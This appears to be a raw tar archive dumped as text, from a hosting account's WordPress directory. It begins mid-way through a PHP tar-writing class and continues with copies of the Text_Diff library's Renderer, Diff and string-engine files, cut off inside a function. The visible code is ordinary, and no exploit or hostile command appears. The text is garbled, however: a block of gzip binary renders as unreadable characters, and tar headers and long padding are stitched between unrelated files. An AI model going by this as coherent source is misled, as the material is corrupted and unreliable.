			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Renderer/Diff.php.php.tar.gz                                                                        0000644                 00000005520 15217306007 0011670 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Zyo8OfZn}%4im)m6b13h9%-E{-9LPԶH>.2h.W\+0^3=˸/C/X"s=|-'A<3ɣGGݧOxw鏣O'Oww\Y$+.g6VB<~&bSe8e<՜kgz& x"acBHL/#-@4aV4 Hɩa㟎ٙPBg2a^	[*xF+v2`TT"g~"5=@h}k᳥3c2S^E
i;=jګyhgD)XE	O3gu7.Gpk,)4D3@W[2dhlr޿=~w`ifJxB	M<$Dh<Å=qSwʧap1[ ^$d y^*Woé@@:+q}3O|
_dFU4`hpkQv1ǹe"
 a!u@KQ',e0Fx !"у
CM?CnĨh7XrC

M?ܛ'E2ĭ 6$'@J&,B 4𴓪ڥl_%W>l8AcHbHr-B͖ܓkXn >fFbEw<Z<Y:άmQ}A};s#xW:!{&;2@h#;'荼RsdTe Rw\;P}0<"dXˆ&Pnaaa>f2biI8mtC`:\k,iY cتuAE6 䐡)rf4!=[͍/0I
+ŝBCUQDL֪u½] CbM`g0NPS-G4ꁫ{Tx& 0F9 b,,ʎmVuOaܡ^cT知%urZ *?'X-9e--Qh3FxRrGgwetu}mE6\ޮ(j&*7Y@쥿a}hinV;n3̇`:-ڍ|ٰH
B%hLtZPȐ(*z$k4Hvo4\`BPoCGaGS\6O	Th8Iޡj35(f3U@-Keû鬳ہȳ2ct֤8w8^H&vEr?2b5yLjNjhfi(`'j!Pv	gGcCb=5]#*ݻ @^tHD(TCmGدi2?/ƩI}[	GgAOC	zCVI!^}nD5xy٢,1|ݎ6+} fBeq/UDJdY}kRvUB
}en6S˧=,mwthW5xy1}Yn{n!{xǮiH$֔QG_ՊW2ޛ;3d>QfP\X@T: jx(860XeJ.8K:Z9"&FC)W0MNfi@Pg= 'lDUn}냕׹OhF4 m*0~	zlL6uFlIyR+IJq¼_=H0
DOgzU4T)"l9 b*kBJn3{%k9ja\)v8U8$&q
=fYX)XM;wr
)ǝ5
*d({|ĄR
%S=S2K=#K֧< xkoXGV8iTfexc5|Iީjm'y=:j]ESUL犋 Y2ʈ;0f:QptHiM	]#$_<jMZU!1vS#FV:g/
oJ<O-?~_7(]^"^1BCz=aS(x"`:<ǃvscԬ,9Sȗн@WW7&Zҵ)pR85InҎNf"ٌ\[|"s藍4
y&.fo<ƹ45{Z4GUCfmNFftKܿ5^-j5"f,DiVp5B*_my6T;BÅzopy!O3JN />J>aKޖ&sEMhك%j#<Yd׉Ec[dfQh"YLW(LJ$MS4G& ̪(eZkaZ\4ޖVjRO&ϸT91QUYH*^d$23/hof;2ke7J{iPR%;i<$)50gEwȳ^Y]q˔R-갗{;g$;%(jd4pQ0emZnkեK8ЀɋeRK \^-@Ѯ2d
)\2FʜV}{8t!(˝}@&֓՚Pqم䭱wypqWoe 6                                                                                                                                                                                  Renderer/Renderer.php.tar                                                                           0000644                 00000021000 15217306007 0011350 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer.php                                      0000644                 00000015226 15217301655 0020455 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * A class to render Diffs in different formats.
 *
 * This class renders the diff in classic diff format. It is intended that
 * this class be customized via inheritance, to obtain fancier outputs.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @package Text_Diff
 */
class Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_leading_context_lines = 0;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_trailing_context_lines = 0;

    /**
     * Constructor.
     */
    function __construct( $params = array() )
    {
        foreach ($params as $param => $value) {
            $v = '_' . $param;
            if (isset($this->$v)) {
                $this->$v = $value;
            }
        }
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Renderer( $params = array() ) {
		self::__construct( $params );
	}

    /**
     * Get any renderer parameters.
     *
     * @return array  All parameters of this renderer object.
     */
    function getParams()
    {
        $params = array();
        foreach (get_object_vars($this) as $k => $v) {
            if ($k[0] == '_') {
                $params[substr($k, 1)] = $v;
            }
        }

        return $params;
    }

    /**
     * Renders a diff.
     *
     * @param Text_Diff $diff  A Text_Diff object.
     *
     * @return string  The formatted output.
     */
    function render($diff)
    {
        $xi = $yi = 1;
        $block = false;
        $context = array();

        $nlead = $this->_leading_context_lines;
        $ntrail = $this->_trailing_context_lines;

        $output = $this->_startDiff();

        $diffs = $diff->getDiff();
        foreach ($diffs as $i => $edit) {
            /* If these are unchanged (copied) lines, and we want to keep
             * leading or trailing context lines, extract them from the copy
             * block. */
            if (is_a($edit, 'Text_Diff_Op_copy')) {
                /* Do we have any diff blocks yet? */
                if (is_array($block)) {
                    /* How many lines to keep as context from the copy
                     * block. */
                    $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail;
                    if (count($edit->orig) <= $keep) {
                        /* We have less lines in the block than we want for
                         * context => keep the whole block. */
                        $block[] = $edit;
                    } else {
                        if ($ntrail) {
                            /* Create a new block with as many lines as we need
                             * for the trailing context. */
                            $context = array_slice($edit->orig, 0, $ntrail);
                            $block[] = new Text_Diff_Op_copy($context);
                        }
                        /* @todo */
                        $output .= $this->_block($x0, $ntrail + $xi - $x0,
                                                 $y0, $ntrail + $yi - $y0,
                                                 $block);
                        $block = false;
                    }
                }
                /* Keep the copy block as the context for the next block. */
                $context = $edit->orig;
            } else {
                /* Don't we have any diff blocks yet? */
                if (!is_array($block)) {
                    /* Extract context lines from the preceding copy block. */
                    $context = array_slice($context, count($context) - $nlead);
                    $x0 = $xi - count($context);
                    $y0 = $yi - count($context);
                    $block = array();
                    if ($context) {
                        $block[] = new Text_Diff_Op_copy($context);
                    }
                }
                $block[] = $edit;
            }

            if ($edit->orig) {
                $xi += count($edit->orig);
            }
            if ($edit->final) {
                $yi += count($edit->final);
            }
        }

        if (is_array($block)) {
            $output .= $this->_block($x0, $xi - $x0,
                                     $y0, $yi - $y0,
                                     $block);
        }

        return $output . $this->_endDiff();
    }

    function _block($xbeg, $xlen, $ybeg, $ylen, &$edits)
    {
        $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen));

        foreach ($edits as $edit) {
            switch (strtolower(get_class($edit))) {
            case 'text_diff_op_copy':
                $output .= $this->_context($edit->orig);
                break;

            case 'text_diff_op_add':
                $output .= $this->_added($edit->final);
                break;

            case 'text_diff_op_delete':
                $output .= $this->_deleted($edit->orig);
                break;

            case 'text_diff_op_change':
                $output .= $this->_changed($edit->orig, $edit->final);
                break;
            }
        }

        return $output . $this->_endBlock();
    }

    function _startDiff()
    {
        return '';
    }

    function _endDiff()
    {
        return '';
    }

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        if ($xlen > 1) {
            $xbeg .= ',' . ($xbeg + $xlen - 1);
        }
        if ($ylen > 1) {
            $ybeg .= ',' . ($ybeg + $ylen - 1);
        }

        // this matches the GNU Diff behaviour
        if ($xlen && !$ylen) {
            $ybeg--;
        } elseif (!$xlen) {
            $xbeg--;
        }

        return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg;
    }

    function _startBlock($header)
    {
        return $header . "\n";
    }

    function _endBlock()
    {
        return '';
    }

    function _lines($lines, $prefix = ' ')
    {
        return $prefix . implode("\n$prefix", $lines) . "\n";
    }

    function _context($lines)
    {
        return $this->_lines($lines, '  ');
    }

    function _added($lines)
    {
        return $this->_lines($lines, '> ');
    }

    function _deleted($lines)
    {
        return $this->_lines($lines, '< ');
    }

    function _changed($orig, $final)
    {
        return $this->_deleted($orig) . "---\n" . $this->_added($final);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Renderer/Diff.php.tar                                                                               0000644                 00000033000 15217306007 0010455 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff.php                                               0000644                 00000027266 15217305762 0016721 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * General API for generating and formatting diffs - the differences between
 * two sequences of strings.
 *
 * The original PHP version of this code was written by Geoffrey T. Dairiki
 * <dairiki@dairiki.org>, and is used/adapted with his permission.
 *
 * Copyright 2004 Geoffrey T. Dairiki <dairiki@dairiki.org>
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 */
class Text_Diff {

    /**
     * Array of changes.
     *
     * @var array
     */
    var $_edits;

    /**
     * Computes diffs between sequences of strings.
     *
     * @param string $engine     Name of the diffing engine to use.  'auto'
     *                           will automatically select the best.
     * @param array $params      Parameters to pass to the diffing engine.
     *                           Normally an array of two arrays, each
     *                           containing the lines from a file.
     */
    function __construct( $engine, $params )
    {
        // Backward compatibility workaround.
        if (!is_string($engine)) {
            $params = array($engine, $params);
            $engine = 'auto';
        }

        if ($engine == 'auto') {
            $engine = extension_loaded('xdiff') ? 'xdiff' : 'native';
        } else {
            $engine = basename($engine);
        }

        // WP #7391
        require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php';
        $class = 'Text_Diff_Engine_' . $engine;
        $diff_engine = new $class();

        $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params);
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff( $engine, $params ) {
		self::__construct( $engine, $params );
	}

    /**
     * Returns the array of differences.
     */
    function getDiff()
    {
        return $this->_edits;
    }

    /**
     * returns the number of new (added) lines in a given diff.
     *
     * @since Text_Diff 1.1.0
     *
     * @return int The number of new lines
     */
    function countAddedLines()
    {
        $count = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_add') ||
                is_a($edit, 'Text_Diff_Op_change')) {
                $count += $edit->nfinal();
            }
        }
        return $count;
    }

    /**
     * Returns the number of deleted (removed) lines in a given diff.
     *
     * @since Text_Diff 1.1.0
     *
     * @return int The number of deleted lines
     */
    function countDeletedLines()
    {
        $count = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_delete') ||
                is_a($edit, 'Text_Diff_Op_change')) {
                $count += $edit->norig();
            }
        }
        return $count;
    }

    /**
     * Computes a reversed diff.
     *
     * Example:
     * <code>
     * $diff = new Text_Diff($lines1, $lines2);
     * $rev = $diff->reverse();
     * </code>
     *
     * @return Text_Diff  A Diff object representing the inverse of the
     *                    original diff.  Note that we purposely don't return a
     *                    reference here, since this essentially is a clone()
     *                    method.
     */
    function reverse()
    {
        if (version_compare(zend_version(), '2', '>')) {
            $rev = clone($this);
        } else {
            $rev = $this;
        }
        $rev->_edits = array();
        foreach ($this->_edits as $edit) {
            $rev->_edits[] = $edit->reverse();
        }
        return $rev;
    }

    /**
     * Checks for an empty diff.
     *
     * @return bool True if two sequences were identical.
     */
    function isEmpty()
    {
        foreach ($this->_edits as $edit) {
            if (!is_a($edit, 'Text_Diff_Op_copy')) {
                return false;
            }
        }
        return true;
    }

    /**
     * Computes the length of the Longest Common Subsequence (LCS).
     *
     * This is mostly for diagnostic purposes.
     *
     * @return int The length of the LCS.
     */
    function lcs()
    {
        $lcs = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_copy')) {
                $lcs += count($edit->orig);
            }
        }
        return $lcs;
    }

    /**
     * Gets the original set of lines.
     *
     * This reconstructs the $from_lines parameter passed to the constructor.
     *
     * @return array  The original sequence of strings.
     */
    function getOriginal()
    {
        $lines = array();
        foreach ($this->_edits as $edit) {
            if ($edit->orig) {
                array_splice($lines, count($lines), 0, $edit->orig);
            }
        }
        return $lines;
    }

    /**
     * Gets the final set of lines.
     *
     * This reconstructs the $to_lines parameter passed to the constructor.
     *
     * @return array  The sequence of strings.
     */
    function getFinal()
    {
        $lines = array();
        foreach ($this->_edits as $edit) {
            if ($edit->final) {
                array_splice($lines, count($lines), 0, $edit->final);
            }
        }
        return $lines;
    }

    /**
     * Removes trailing newlines from a line of text. This is meant to be used
     * with array_walk().
     *
     * @param string $line  The line to trim.
     * @param int    $key   The index of the line in the array. Not used.
     */
    static function trimNewlines(&$line, $key)
    {
        $line = str_replace(array("\n", "\r"), '', $line);
    }

    /**
     * Determines the location of the system temporary directory.
     *
     * @access protected
     *
     * @return string  A directory name which can be used for temp files.
     */
    static function _getTempDir()
    {
        return get_temp_dir();
    }

    /**
     * Checks a diff for validity.
     *
     * This is here only for debugging purposes.
     */
    function _check($from_lines, $to_lines)
    {
        if (serialize($from_lines) != serialize($this->getOriginal())) {
            throw new Text_Exception("Reconstructed original does not match");
        }
        if (serialize($to_lines) != serialize($this->getFinal())) {
            throw new Text_Exception("Reconstructed final does not match");
        }

        $rev = $this->reverse();
        if (serialize($to_lines) != serialize($rev->getOriginal())) {
            throw new Text_Exception("Reversed original does not match");
        }
        if (serialize($from_lines) != serialize($rev->getFinal())) {
            throw new Text_Exception("Reversed final does not match");
        }

        $prevtype = null;
        foreach ($this->_edits as $edit) {
            if ($prevtype !== null && $edit instanceof $prevtype) {
                throw new Text_Exception("Edit sequence is non-optimal");
            }
            $prevtype = get_class($edit);
        }

        return true;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 */
class Text_MappedDiff extends Text_Diff {

    /**
     * Computes a diff between sequences of strings.
     *
     * This can be used to compute things like case-insensitive diffs, or diffs
     * which ignore changes in white-space.
     *
     * @param array $from_lines         An array of strings.
     * @param array $to_lines           An array of strings.
     * @param array $mapped_from_lines  This array should have the same size
     *                                  number of elements as $from_lines.  The
     *                                  elements in $mapped_from_lines and
     *                                  $mapped_to_lines are what is actually
     *                                  compared when computing the diff.
     * @param array $mapped_to_lines    This array should have the same number
     *                                  of elements as $to_lines.
     */
    function __construct($from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines)
    {
        assert(count($from_lines) == count($mapped_from_lines));
        assert(count($to_lines) == count($mapped_to_lines));

        parent::Text_Diff($mapped_from_lines, $mapped_to_lines);

        $xi = $yi = 0;
        for ($i = 0; $i < count($this->_edits); $i++) {
            $orig = &$this->_edits[$i]->orig;
            if (is_array($orig)) {
                $orig = array_slice($from_lines, $xi, count($orig));
                $xi += count($orig);
            }

            $final = &$this->_edits[$i]->final;
            if (is_array($final)) {
                $final = array_slice($to_lines, $yi, count($final));
                $yi += count($final);
            }
        }
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_MappedDiff( $from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines ) {
		self::__construct( $from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines );
	}

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
abstract class Text_Diff_Op {

    var $orig;
    var $final;

    abstract function &reverse();

    function norig()
    {
        return $this->orig ? count($this->orig) : 0;
    }

    function nfinal()
    {
        return $this->final ? count($this->final) : 0;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_copy extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $orig, $final = false )
    {
        if (!is_array($final)) {
            $final = $orig;
        }
        $this->orig = $orig;
        $this->final = $final;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_copy( $orig, $final = false ) {
		self::__construct( $orig, $final );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_copy($this->final, $this->orig);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_delete extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
	function __construct( $lines )
    {
        $this->orig = $lines;
        $this->final = false;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_delete( $lines ) {
		self::__construct( $lines );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_add($this->orig);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_add extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $lines )
    {
        $this->final = $lines;
        $this->orig = false;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_add( $lines ) {
		self::__construct( $lines );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_delete($this->final);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_change extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $orig, $final )
    {
        $this->orig = $orig;
        $this->final = $final;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_change( $orig, $final ) {
		self::__construct( $orig, $final );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_change($this->final, $this->orig);
        return $reverse;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Renderer.php                                                                                        0000644                 00000015226 15217306007 0007032 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * A class to render Diffs in different formats.
 *
 * This class renders the diff in classic diff format. It is intended that
 * this class be customized via inheritance, to obtain fancier outputs.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @package Text_Diff
 */
class Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_leading_context_lines = 0;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_trailing_context_lines = 0;

    /**
     * Constructor.
     */
    function __construct( $params = array() )
    {
        foreach ($params as $param => $value) {
            $v = '_' . $param;
            if (isset($this->$v)) {
                $this->$v = $value;
            }
        }
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Renderer( $params = array() ) {
		self::__construct( $params );
	}

    /**
     * Get any renderer parameters.
     *
     * @return array  All parameters of this renderer object.
     */
    function getParams()
    {
        $params = array();
        foreach (get_object_vars($this) as $k => $v) {
            if ($k[0] == '_') {
                $params[substr($k, 1)] = $v;
            }
        }

        return $params;
    }

    /**
     * Renders a diff.
     *
     * @param Text_Diff $diff  A Text_Diff object.
     *
     * @return string  The formatted output.
     */
    function render($diff)
    {
        $xi = $yi = 1;
        $block = false;
        $context = array();

        $nlead = $this->_leading_context_lines;
        $ntrail = $this->_trailing_context_lines;

        $output = $this->_startDiff();

        $diffs = $diff->getDiff();
        foreach ($diffs as $i => $edit) {
            /* If these are unchanged (copied) lines, and we want to keep
             * leading or trailing context lines, extract them from the copy
             * block. */
            if (is_a($edit, 'Text_Diff_Op_copy')) {
                /* Do we have any diff blocks yet? */
                if (is_array($block)) {
                    /* How many lines to keep as context from the copy
                     * block. */
                    $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail;
                    if (count($edit->orig) <= $keep) {
                        /* We have less lines in the block than we want for
                         * context => keep the whole block. */
                        $block[] = $edit;
                    } else {
                        if ($ntrail) {
                            /* Create a new block with as many lines as we need
                             * for the trailing context. */
                            $context = array_slice($edit->orig, 0, $ntrail);
                            $block[] = new Text_Diff_Op_copy($context);
                        }
                        /* @todo */
                        $output .= $this->_block($x0, $ntrail + $xi - $x0,
                                                 $y0, $ntrail + $yi - $y0,
                                                 $block);
                        $block = false;
                    }
                }
                /* Keep the copy block as the context for the next block. */
                $context = $edit->orig;
            } else {
                /* Don't we have any diff blocks yet? */
                if (!is_array($block)) {
                    /* Extract context lines from the preceding copy block. */
                    $context = array_slice($context, count($context) - $nlead);
                    $x0 = $xi - count($context);
                    $y0 = $yi - count($context);
                    $block = array();
                    if ($context) {
                        $block[] = new Text_Diff_Op_copy($context);
                    }
                }
                $block[] = $edit;
            }

            if ($edit->orig) {
                $xi += count($edit->orig);
            }
            if ($edit->final) {
                $yi += count($edit->final);
            }
        }

        if (is_array($block)) {
            $output .= $this->_block($x0, $xi - $x0,
                                     $y0, $yi - $y0,
                                     $block);
        }

        return $output . $this->_endDiff();
    }

    function _block($xbeg, $xlen, $ybeg, $ylen, &$edits)
    {
        $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen));

        foreach ($edits as $edit) {
            switch (strtolower(get_class($edit))) {
            case 'text_diff_op_copy':
                $output .= $this->_context($edit->orig);
                break;

            case 'text_diff_op_add':
                $output .= $this->_added($edit->final);
                break;

            case 'text_diff_op_delete':
                $output .= $this->_deleted($edit->orig);
                break;

            case 'text_diff_op_change':
                $output .= $this->_changed($edit->orig, $edit->final);
                break;
            }
        }

        return $output . $this->_endBlock();
    }

    function _startDiff()
    {
        return '';
    }

    function _endDiff()
    {
        return '';
    }

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        if ($xlen > 1) {
            $xbeg .= ',' . ($xbeg + $xlen - 1);
        }
        if ($ylen > 1) {
            $ybeg .= ',' . ($ybeg + $ylen - 1);
        }

        // this matches the GNU Diff behaviour
        if ($xlen && !$ylen) {
            $ybeg--;
        } elseif (!$xlen) {
            $xbeg--;
        }

        return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg;
    }

    function _startBlock($header)
    {
        return $header . "\n";
    }

    function _endBlock()
    {
        return '';
    }

    function _lines($lines, $prefix = ' ')
    {
        return $prefix . implode("\n$prefix", $lines) . "\n";
    }

    function _context($lines)
    {
        return $this->_lines($lines, '  ');
    }

    function _added($lines)
    {
        return $this->_lines($lines, '> ');
    }

    function _deleted($lines)
    {
        return $this->_lines($lines, '< ');
    }

    function _changed($orig, $final)
    {
        return $this->_deleted($orig) . "---\n" . $this->_added($final);
    }

}
                                                                                                                                                                                                                                                                                                                                                                          Engine/string.php                                                                                   0000644                 00000020233 15217306007 0007771 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
